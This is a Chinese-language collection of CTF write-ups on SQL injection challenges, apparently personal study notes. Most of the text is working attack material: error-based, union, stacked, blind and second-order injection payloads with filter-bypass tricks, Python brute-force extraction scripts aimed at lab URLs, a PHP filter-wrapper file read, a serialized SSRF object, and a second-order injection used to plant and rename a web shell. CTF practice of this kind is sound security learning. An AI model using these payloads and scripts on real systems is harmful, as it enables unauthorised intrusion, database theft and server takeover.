sql小练
SQL
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
考点:
1、PHP伪协议
2、二次注入
3、报错注入
打开题目后,几经尝试,无果,查看网页源代码,发现提示
所以我们可以使用PHP伪协议读取文件内容,可以得到以下的内容index.php,search.php,delete.php,config.php,confirm.php,然后base64解码即可得到相应的源码
?file=php://filter/convert.base64-encode/resource=index.php
其中只有change.php有漏洞,其他文件都进行了关键字过滤,没法操作
change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
再change.php中,只对username和phone进行了严格的过滤,而对address只使用了addslashes()
函数过滤,所以我们可以采用报错注入的方式
addslashes()
返回一个字符串,该字符串前面有反斜杠,前面是预定义的字符。
预定义的字符包括:
单引号 (')
双引号 (")
反斜杠 (\)
零
eg.
<?php
$str = addslashes('What does "yolo" mean?');
echo($str);
?>
//输出 What does \"yolo\" mean?
所以注意:
关键sql语句
$sql = "update `user` set `address`='".$address."',`old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
如果user_name和phone参数都没有问题的话,address参数会存入到数据库,当下一次正常查询数据就会被触发造成SQL注入
所以我们利用updatexml()进行报错注入
1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
这里还要注意updatexml每次只能回显32位,所以需要分两次读取
1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,40)),0x7e),1)#
这里还涉及到一个函数load_file()
在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
语法:
LOAD_FILE(file_name)
问题:
这里看到其他师傅payload是这样写的,没有理解
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
先提交
在修改
即可得到上半flag
同理,得到下半flag
[RCTF2015]EasySQL
考点:
1、二次注入
2、报错注入
打开题目,看到有登录和注册两个选项
先正常注册登录,进去捣鼓一番后发现可以修改密码,题目又提示easysql,很典型的二次注入题目。
重回注册界面
首先bp抓包来fuzz一下,过滤了挺多关键字的,但是
select、from、regexp、updatexml、extractvlaue、in、information_schema、() ' " # |
这些都还没过滤,所以可以使用报错注入的方式
因为有username和password两个点,不知道哪个点可控,所以我们先尝试
最终发现当username为 a"
和a")
会出现回显
因为过滤了or和and
所以payload如下
updatexml()和extractvalue()都可以使用,updatexml会多一个参数
爆库:
extracvalue
a"||extractvalue(1,concat(0x7e,(select(database())),0x7e))#
updatexml
a"||updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
爆表:
a"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e))#
爆字段名:
a"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e))#
爆flag:
a"||extractvalue(1,concat(0x7e,(select(flag)from(flag)),0x7e))#
接着爆其他表
在users表中发现了
再次爆flag:
d"||extractvalue(1,concat(0x7e,(select(real_flag_1s_her)from(users)),0x7e))#
很显然,它应该对回显结果进行了长度限制
但是他过滤了mid,substr,left,right
因此这里就涉及到了一个新的东西
利用正则匹配查完整的值
a"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))))#
这里的and被过滤了,所以我们只能使用&&
查出真的字段名
接着查flag
a"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#
奈何长度太长,又显示不出来
接着查看wp,又发现一个新函数
reverse倒转输出
所以最终payload
a"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#
最后拼接即可
[SUCTF 2019]EasySQL
考点:
1、堆叠注入
2、命令操作符
打开题目,发现我们输入数字时会回显一个数组,而输入字母时无回显,输入flag时会返回nonono
应该是有些字符被过滤了,先用burp来fuzz一下,看看过滤了哪些,最后发现只有几个字符能用
;
没被过滤,可以使用堆叠注入
根据前面的回显信息,我们可以推测出查询语句
$sql = "select ".$post['query']."||flag from Flag";
这里引进一个新知识:
当sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR
非预期解
不设置 PIPES_AS_CONCAT,||即为or
回顾一下||的作用
a || b
如果a执行失败,则执行b
a && b
如果a执行成功,则执行b
所以构造
select *,1||2 from tp_flag;
所以我们只需要填入*,1
即可获得flag
预期解
设置PIPES_AS_CONCAT,||
相当于连接符concat
set sql_mode=PIPES_AS_CONCAT;
所以最后的payload
1;set sql_mode=PIPES_AS_CONCAT;select 1
[GYCTF2020]Ezsqli
考点:
1、无列名注入
2、盲注
用异或测试,判断为数字型注入
id=1^1 #Error Occured When Fetch Result.即id=0,查询无结果
id=1^0 #Nu1L id=1
id=1^'0' #Nu1L 数字型注入,若为单引号字符注入此处会报错bool(false)
查看harckbar,post传参
fuzz一下 ,发现information、union、in、or、if
被过滤了
先进行测试,成功返回Nu1L,失败返回V&N,or被过滤了可以使用||
代替
2||length(database())>1 返回Nu1L
2||length(database())>100 返回V&N
//因为2为错,所以后面的为正确的就会返回Nu1L
根据盲注编写脚本
获取库名:
import requests
url = "http://d17f0441-4262-43ab-9365-07fa010bdf57.node4.buuoj.cn:81/index.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz_"
anser = ""
for i in range(1,100):
for j in dict:
payload = "2||(substr(database(),{},1)={})".format(int(i),ascii(j))
data = {
"id":payload
}
re = requests.post(url,data=data)
if "Nu1L" in re.text:
anser+=j
print(anser)
print(anser)
二分法脚本,速度更快
import requests
import time
# url是不一样的
url = 'http://d17f0441-4262-43ab-9365-07fa010bdf57.node4.buuoj.cn:81/index.php'
i = 0
anser = ''
while True:
i += 1
#有效符号的ascii值,起始,结束
begin = 32
end = 126
aver = (begin + end) // 2 #/表示浮点数除法,返回浮点结果;//表示整数除法。
while begin < end:
time.sleep(0.1)
#查数据库
payload = "2||(ascii(substr(database(),{},1))>{})".format(i,aver)
#查表
payload = "2||(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{})".format(i,aver)
#
data = {
"id":payload
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
begin = aver + 1
aver = (begin + end) // 2
else:
end = aver
aver = (begin + end) // 2
anser += chr(aver)
print(anser)
if begin == 32:
break
这里测试了一下,mysql库也用不了了
mysql.innodb_table_stats
mysql.innodb_index_stats
但是发现可以使用sys.x$schema_flattened_keys 或者 sys.schema_table_statistics_with_buffer代替,所以构造出查表名的payload,其实这里应该不难发现可以不用测出库名的,可以直接使用database()来代替,而且这里有个问题,测出来的表名带进去会出错,不知道是因为什么
2||(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),0,1))>1)
接下来就是无列名爆值了,可以参考无列名注入
将查询语句与相同数量的列进行比较,mysql在字符和数字比较的时候,会将字符串转成数字。而字符串之间的比较遵循从右到左
的优先级挨个比较。利用这个来爆破字段值
pyhon脚本
库名:give_grandpa_pa_pa_pa
表名:f1ag_1s_h3r3_hhhhh
因为这里无回显,所以不能使用join来爆列名
同时这里的union被过滤了,所以也不能用起别名的方式绕过
所以这里只能采用逐字符比较的方法来直接爆破数据,具体可参照我的另一篇文章无列名注入姿势总结
脚本如下:
import requests
url='http://e0e4d9bf-1f0b-435c-aedf-6d1aa33856ce.node4.buuoj.cn:81/'
flag=''
for i in range(1,50):
for j in range(32,128):
hexchar=flag+chr(j)
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data={'id':payload}
re=requests.post(url=url,data=data)
if 'Nu1L' in re.text:
flag+=chr(j-1)
print(flag.lower()) #因为出来的flag时大写,所以这里使用lower()函数将其转换为小写
break
[极客大挑战 2019]BabySQL
试试万能密码,发现竟然错误,结合题目提示,发现or被过滤了
双写or,成功
再次测试,发现连着的select,union等都被过滤了,但是我们可以双写绕过,竟然注释符没被过滤,不错
查有多少字段
说明有三列,接着查库
admin' ununionion seselectlect 1,2,database()#
查表
admin' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#
接着查字段
admin' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
查数据,得到flag
admin' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom geek.b4bsql#
[极客大挑战 2019]HardSQL
经过我们测试,发现空格被过滤了,和sqli labs less-26比较类似。
我们可以利用updatexml函数来进行注入,因 为这样不用用到空格。
查库
admin'or(updatexml(1,concat(0x7e,database(),0x7e),2))#
查表,这里最开始发现竟然payload不对,后面多次实验发现是'='被过滤了,用'like'代替
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),2))#
查字段名
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
查数据,得到一半flag
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),2))#
这里发现substr函数也被过滤了,所以我们可以使用right()函数来替代
right():从字符串中提取多个字符(从右开始)。
查另一半的flag
admin'or(updatexml(1,concat(0x7e,(select(right(password,50))from(H4rDsq1)),0x7e),2))#
重复的去掉,然后组合成flag即可
flag{dad1f7b7-7b86-4668-9c2c-5bbfb1fda4a1}
[GXYCTF2019]BabySQli
首先在这里说一下两种加密区分
base32:只有大写字母和数字数字组成,或者后面有三个等号。
base64:只有大写字母和数字,小写字母组成,后面一般是两个等号。
首先我们尝试随便登录
在这里看到绿色字体只由大写字母和数字组成,所以我们想到了base32加密,将其先base32解码,在base64解码,得到,说明我们对于$name的注入思路是没有问题的
select * from user where username = '$name'
我们再尝试admin登录,可以看到返回的是wrong pass,说明admin是正确的登录名
接着利用万能密码,失败,发现过滤了括号,or,=等等
所以结合上面,发现问题就出在密码这里,因为密码一般放进数据库里是加密了的,而加密方式无非就是mysql、mysql5、md5三种,所以我们挨个试试,最后发现是md5加密
而字段一般都是id、username、password这种顺序,所以我们构造payload
name=-1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
get flag
[SWPU2019]Web1
二次注入
首先来到首页,发现无论怎么尝试都是登陆失败,但我们发现下方还有注册选项,我们进去,随便注册一个号,然后用注册的号登录。
来到这样一个界面,发现只有'申请发布广告'可点,进去,先随便输入尝试,发现'广告详情',继续点进去
发现端倪,id=3,说明这里存在sql注入,经过尝试,发现广告名对id后面的值有影响,所以确定注入点就在’广告名‘处。但发现过滤了or,#,--+,information_schema和空格
这里第一次遇到过滤information_schema的情况,特此纪念一下
空格可以用是/**/
代替,information_schema可以用其他库代替,如mysql 、sys
mysql.innodb_table_stats
mysql.innodb_index_stats
两表均有database_name和table_name字段,可以利用
所以构造payload,这里测试了一下,居然由22列,要有耐心才行
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
然后就得到了数据库名
接着爆表,这里注意web1要用双引号包裹而不能使用单引号,我也不知道为什么,感觉应该是源码出了些许差错,照理说应该都可以的
-1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_index_stats/**/where/**/database_name="web1"'a
无列名爆值
这里用的是无列名爆值,这里第一次遇到,记录一下,一般是在information_schema被过滤的情况下使用
意思就在不知道列名的情况下,从表中提取数据的方法。
在mysql中演示,首先进行基本查询
接着是将列名转换为任何可选的已知值
这样我们就可以用1,2,3,4来代替列名了(后面的那个参数redforce是可以随便更改的,其实是省略了as,原句应该是select 4 from (select 1,2,3,4 union select * from test) as redforce;)
根据这个原理我们就可以进行无列名爆flag了
发现广告名栏会显示第二列的内容,而广告内容会显示第三列的内容,所以构造
payload:
-1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'a
得到flag
[WUSTCTF2020]颜值成绩单
打开界面,我们随便输入个1,2,3,4,都能得到相应的回显,同时我们可以注意到url
说明这是get型注入,同时测试发现空格被过滤了,这里可以使用/**/代替
同时我们测试输入
if(length(database())<10,1,2)
这里说明遇到的if语句:
if(a,b,c):如果满足条件a,就返回b,不满足就返回c。
所以这个语句的意思就是如果数据库名的长度小于10就返回输入1的值,即'Hi admin, your score is: 100',如果不满足就会返回输入2的值
所以可以判定这是个盲注,这里最快的方法就是写二分法脚本,这里我是参考网上师傅的脚本,就不贴了,有需要的可以自行上网搜。
最后说一句flag是在value字段里,而不再flag字段里。
[b01lers2020]Life on Mars
打开题目,什么都没有,点击链接,也什么都没有发现,尝试burp抓几个包看看有无突破点
结果发现这里还真的有,判断可能为get型注入
几经尝试,发现当searh后面的名字正确时,将会得到以下界面
提醒一下,这里是一定要用火狐浏览器的,因为它字带美化排版功能,否则你将看到的是,令人头晕
接着我们尝试查一下字段数
?search=utopia_basin order by 2
可以发现,当2时回显信息,说明字段数为2
尝试确定一下回显的位置。没错,是在最末尾
?search=utopia_basin union select 1,2
接下来的事情就简单了,查库
?search=utopia_basin union select 1,database()
查表:
?search=utopia_basin union select 1,group_concat(table_name) from information_schema.tables where table_schema='aliens'
查列名:
?search=amazonis_planitia union select 1,group_concat(column_name) from information_schema.columns where table_name='utopia_basin'
查查数据:
?search=amazonis_planitia union select group_concat(name),group_concat(description) from aliens.utopia_basin
flag呢?淦
仔细思考了一下,唯一的可能就是存在其他的数据库,重新查库:
?search=utopia_basin union select 1,group_concat(schema_name) from information_schema.schemata
果不其然,还有两个数据库,继续查alien_code这个库,剩下的步骤就一样就不演示了,最后查出来由id和code两个字段,flag在code字段里
?search=amazonis_planitia union select 1,group_concat(code) from alien_code.code
总结一下:
1.在没有思路的时候,可以先尝试看看源码,用burp抓抓包,可能就会发现入口了。
2.做题时考虑周全一些,否则会多走一些弯路。
[October 2019] Twice SQL Injection
简单的二次注入题
注册时将payload放在username处,再次登录时即可看到sql语句回显的结果了
这里只展示一个查库
uername=1' union select database() #
flag:
uername=1' union select flag from flag #
[RootersCTF2019]babyWeb
根据题目可知,过滤了union、sleep、单引号、双引号、or、-、benchmark
=过滤了‘联合查询’、‘时间盲注’、注释....
单引号可以用%20代替,union没了可以用报错注入(updataxml),至此,整体思路明了了
查字段数:
1,2回显正常,3回显错误,说明有两个字段。
而其中一个字段为unique,剩下的那个肯定就是flag了
万能密码登录
1||1=1 limit 1
不行不是很能理解
[网鼎杯 2018]Fakebook
考点:
1、sql注入
2、反序列化
3、ssrf
随便注册一个账户
进去后发现username下面的1是个超链接,点进去
发现url处存在注入
但是这里有waf,当出现有union select
的时候就会被拦截,绕过方式有很多,可以使用union all select
或者用/**/
代替空格进行绕过
再/view.php?no=1 union/**/select 1,2,3,4#
的时候回显
接下来查库
/view.php?no=1 union/**/select 1,database(),3,4# fakebook
查表
/view.php?no=1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'# user
查列名
/view.php?no=1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'# no,username,passwd,data
查数据
/view.php?no=1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from fakebook.users#
1d1a05b40f186efa8c4152341eb69a1c8ac32ea0c3d76d6d071427a902ed8ec88c320f54ca1d4e8301a9a43746c74826d2c9113dc30ff93a68e7eda21aa5d94ab4e69O:8:”UserInfo”:3:{s:4:”name”;s:4:”d1a0”;s:3:”age”;i:111;s:4:”blog”;s:11:”www.d1a0.cn";}
得到的这个数据是我们个人资料的反序列化数据
接下来用dirseach扫描目录
发现flag.php和robots.txt
robots.txt
User-agent: *
Disallow: /user.php.bak
下载得到
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
一个简单的反序列化
payload
<?php
class Userinfo
{
public $name = "sss";
public $age = 17;
public $blog = "file:///var/www/html/flag.php";
}
$data = new Userinfo();
echo serialize($data);
?>
得出
O:8:"Userinfo":3:{s:4:"name";s:3:"sss";s:3:"age";i:17;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
查看源码即可获得base64加密后的flag
[CISCN2019 华北赛区 Day2 Web1]Hack World
首先发现题目是一个查询的表单,并且告诉了表名和字段名都是flag,首先随便提交id=1和id=2,发现回显信息不一样,并且发现过滤了union、and、or、空格等
发现是盲注,正确时返回Hello......
所以构造出payload
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
法一:
加快速度,写个脚本
脚本1:
import requests
dic='-{abcdefghijklmnopqrstuvwxyz0123456789}'
url="http://d485ba7a-e5ae-441d-a555-887a88c35d20.node4.buuoj.cn/index.php"
string=''
for i in range(1,50):
for j in dic:
id="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
data={"id":id}
r=requests.post(url,data=data,timeout=10)
if "Hello" in r.text:
string+=j
print(string)
print(string)
脚本2:
import requests
url="http://d485ba7a-e5ae-441d-a555-887a88c35d20.node4.buuoj.cn/index.php"
dic='-{abcdefghijklmnopqrstuvwxyz0123456789}'
anser = ''
for i in range(1,50):
for j in dic:
payload="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
da={"id":payload}
c = requests.post(url,data=da,timeout=10)
if 'Hello' in c.text:
anser += j
print(anser)
break
脚本2会比脚本1快很多,原理我现在不是很清楚(目前编程语言学的不好)
法二:
使用异或,用它可以起到代替or的作用。
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
if有局限性,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and。
二分法的脚本
import requests
import time
url = "http://d485ba7a-e5ae-441d-a555-887a88c35d20.node4.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
[极客大挑战 2019]FinalSQL
import requests
import time
# url是不一样的
url = 'http://b1415692-f025-4dd7-90d8-ae8d0562765e.node4.buuoj.cn:81/search.php?id='
i = 0
flag = ''
while True:
i += 1
#有效符号的ascii值,起始,结束
begin = 32
end = 126
aver = (begin + end) // 2 #/表示 浮点数除法,返回浮点结果;//表示整数除法。
while begin < end:
time.sleep(0.1)
# 爆数据库
# payload = "''or(ascii(substr(database(),{},1))>{})".format(i, aver)
# 爆表
# payload = "''or(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),{},1))>{})".format(i, aver)
# 爆字段
# payload = "''or(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='F1naI1y')),{},1))>{})".format(i, aver)
#爆flag
payload = "''or(ascii(substr((select(password)from(F1naI1y)where(username='flag')),{},1))>{})".format(i, aver)
r = requests.get(url+payload)
if 'Click' in r.text:
begin = aver + 1
aver = (begin + end) // 2
else:
end = aver
aver = (begin + end) // 2
flag += chr(aver)
print(flag)
if begin == 32:
break
[XDCTF 2015]filemanager(*)
扫到了/www.tar.gz
down下来之后是源码
简单审计
一个一个审
xdctf.sql
SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;
DROP DATABASE IF EXISTS `xdctf`;
CREATE DATABASE xdctf;
USE xdctf;
DROP TABLE IF EXISTS `file`;
CREATE TABLE `file` (
`fid` int(10) unsigned NOT NULL AUTO_INCREMENT,
`filename` varchar(256) NOT NULL,
`oldname` varchar(256) DEFAULT NULL,
`view` int(11) DEFAULT NULL,
`extension` varchar(32) DEFAULT NULL,
PRIMARY KEY (`fid`)
) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=utf8;
SET FOREIGN_KEY_CHECKS = 1;
告诉了数据库里的表结构
common.inc.php
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午7:58
*/
$DATABASE = array(
"host" => "127.0.0.1",
"username" => "root",
"password" => "ayshbdfuybwayfgby",
"dbname" => "xdctf",
);
$db = new mysqli($DATABASE['host'], $DATABASE['username'], $DATABASE['password'], $DATABASE['dbname']);
$req = array();
foreach (array($_GET, $_POST, $_COOKIE) as $global_var) {
foreach ($global_var as $key => $value) {
is_string($value) && $req[$key] = addslashes($value);
}
}
define("UPLOAD_DIR", "upload/");
function redirect($location) {
header("Location: {$location}");
exit;
}
这段
foreach (array($_GET, $_POST, $_COOKIE) as $global_var) {
foreach ($global_var as $key => $value) {
is_string($value) && $req[$key] = addslashes($value);
}
}
对传入的参数进行了addslashes转义
delete.php
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午9:39
*/
require_once "common.inc.php";
if(isset($req['filename'])) {
$result = $db->query("select * from `file` where `filename`='{$req['filename']}'");
if ($result->num_rows>0){
$result = $result->fetch_assoc();
}
$filename = UPLOAD_DIR . $result["filename"] . $result["extension"];
if ($result && file_exists($filename)) {
$db->query('delete from `file` where `fid`=' . $result["fid"]);
unlink($filename);
redirect("/");
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>file manage</title>
<base href="/">
<meta charset="utf-8" />
</head>
<h3>Delete file</h3>
<body>
<form method="post">
<p>
<span>delete filename(exclude extension):</span>
<input type="text" name="filename">
</p>
<p>
<input type="submit" value="delete">
</p>
</form>
</body>
</html>
目前来看没什么用
index.php
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午7:46
*/
?>
<!DOCTYPE html>
<html>
<head>
<title>file manage</title>
<base href="./">
<meta charset="utf-8" />
</head>
<body>
<h3>Control</h3>
<ul style="list-style: none;">
<li><a href="./delete.php">Delete file</a></li>
<li><a href="./rename.php">Rename file</a></li>
</ul>
<h3>Content</h3>
<form action="./upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="upfile">
<input type="submit" value="upload file">
</form>
</body>
</html>
upload.php
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午8:45
*/
require_once "common.inc.php";
if ($_FILES) {
$file = $_FILES["upfile"];
if ($file["error"] == UPLOAD_ERR_OK) {
$name = basename($file["name"]);
$path_parts = pathinfo($name);
if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
exit("error extension");
}
$path_parts["extension"] = "." . $path_parts["extension"];
$name = $path_parts["filename"] . $path_parts["extension"];
// $path_parts["filename"] = $db->quote($path_parts["filename"]);
// Fix
$path_parts['filename'] = addslashes($path_parts['filename']);
$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
$fetch = $db->query($sql);
if ($fetch->num_rows > 0) {
exit("file is exists");
}
if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {
$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
$re = $db->query($sql);
if (!$re) {
print_r($db->error);
exit;
}
$url = "/" . UPLOAD_DIR . $name;
echo "Your file is upload, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
} else {
exit("upload error");
}
} else {
print_r(error_get_last());
exit;
}
}
上传的文件经过了几次检查
1.后缀只能为"gif", "jpg", "png", "zip", "txt"
2.$path_parts["filename"]
3.addslashes()转义
4.insert进入数据库
rename.php
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午9:39
*/
require_once "common.inc.php";
if (isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
if ($result->num_rows > 0) {
$result = $result->fetch_assoc();
} else {
exit("old file doesn't exists!");
}
if ($result) {
$req['newname'] = basename($req['newname']);
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
if (!$re) {
print_r($db->error);
exit;
}
$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
if (file_exists($oldname)) {
rename($oldname, $newname);
}
$url = "/" . $newname;
echo "Your file is rename, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>file manage</title>
<base href="/">
<meta charset="utf-8" />
</head>
<h3>Rename</h3>
<body>
<form method="post">
<p>
<span>old filename(exclude extension):</span>
<input type="text" name="oldname">
</p>
<p>
<span>new filename(exclude extension):</span>
<input type="text" name="newname">
</p>
<p>
<input type="submit" value="rename">
</p>
</form>
</body>
</html>
首先filename={$req['oldname']}
是从数据库查询输入的oldname是否在于filename字段,然后update修改。
而oldname={$result['filename']}
将之前从数据库中查询出的filename更新到oldname当中,这样在再次进入数据库时就造成了二次注入
思路
在上传文件时,我们是可以对后缀进行控制的,也就是说,我们可以通过upload.php插入时构造语句,然后在rename.php中update数据库更新进行二次注入将extension字段的值改为空,同时也可以控制filename的值,那么等于说rename函数的两个参数的值都是可控的
另外当修改文件名的时候检查了文件是否存在,因为利用注入时将extension改为空了,那么实际上数据库中的filename总比文件系统中真实的文件名少一个后缀但是我们通过注入修改filename
的值,实际上upload
目录下的文件名是没有修改的。
所以绕过file_exists()
只需要再次上传一个与数据库当中filename
的值相同的文件名即可
具体实现
首先上传一个文件名为:',extension='',filename='xxxx.jpg.jpg
的文件
然后修改为shell.jpg
然后上传一个shell文件
重命名为shell.php
访问shell获得flag
http://da1022ee-cc7d-47ec-a13a-a973a918bf0a.node4.buuoj.cn:81/upload/shell.php
Some Words
url处发现注入
盲注
有错误回显
fuzz一下,过滤了and和=
and用or代替,=用<>代替
爆库
import requests
database_name=''
for i in range(1,10):
result = ''
for j in range(33,123):
url = 'http://eci-2ze6zq7hsocdxngtc965.cloudeci1.ichunqiu.com/index.php?'
payload = 'id=0 or if((ascii(substr((select database()),{iii},1))>{jjj}),1,0)'
s = payload.format(iii=str(i),jjj=str(j))
url = url + s
ret = requests.get(url)
if 'Hello' not in ret.text:
database_name += chr(j)
break
print(database_name)
爆表
import requests
for k in range(1,50):
database_name = ''
for i in range(1,10):
result = ''
for j in range(33,123):
url = 'http://eci-2ze6zq7hsocdxngtc965.cloudeci1.ichunqiu.com/index.php?'
payload = 'id=0 or if((ascii(substr((select table_name from information_schema.tables limit {kkk},1),{iii},1))>{jjj}),1,0)'
s = payload.format(kkk=str(k),iii=str(i),jjj=str(j))
url = url + s
ret = requests.get(url)
if 'Hello' not in ret.text:
database_name += chr(j)
break
print(database_name)
...
报错注入
爆表
import re
import requests
for i in range(1,100):
url = 'http://eci-2ze6zq7hsocdxngtc965.cloudeci1.ichunqiu.com/index.php?' \
'id=1 or ExtractValue(0,concat(0x27,(select table_name from information_schema.tables limit %s,1)))'%i
req = requests.get(url=url)
print(i,end=' ')
print(req.text[-29:-1])
可以发现其中有个表叫f14g
爆flag
import requests
flag = ''
for i in range(1,50):
for j in range(32, 126):
url = 'http://eci-2ze6zq7hsocdxngtc965.cloudeci1.ichunqiu.com/index.php?' \
'id=0 or if((ascii(substr((select * from f14g),'+str(i)+',1))>'+str(j)+'),1,0)'
ret = requests.get(url=url)
if 'Hello' not in ret.text:
flag += chr(j)
break
print(flag)
[BMZctf]Union
一个登录框
dirsearch跑出了一些文件,但是都没有权限访问
似乎url处存在文件包含,尝试读取源码,但是发现很多关键字符被过滤掉了
查看源码
根据提示来到注册界面
随便注册一个账户后登陆进去
可以上传和下载东西
简单思路
出现了文件上传和文件包含,那么就可以联合起来进行利用,但是这里有个问题就是不知道上传文件的路径
sql注入
发现在下载界面下的收藏处抓包可以进行sql注入
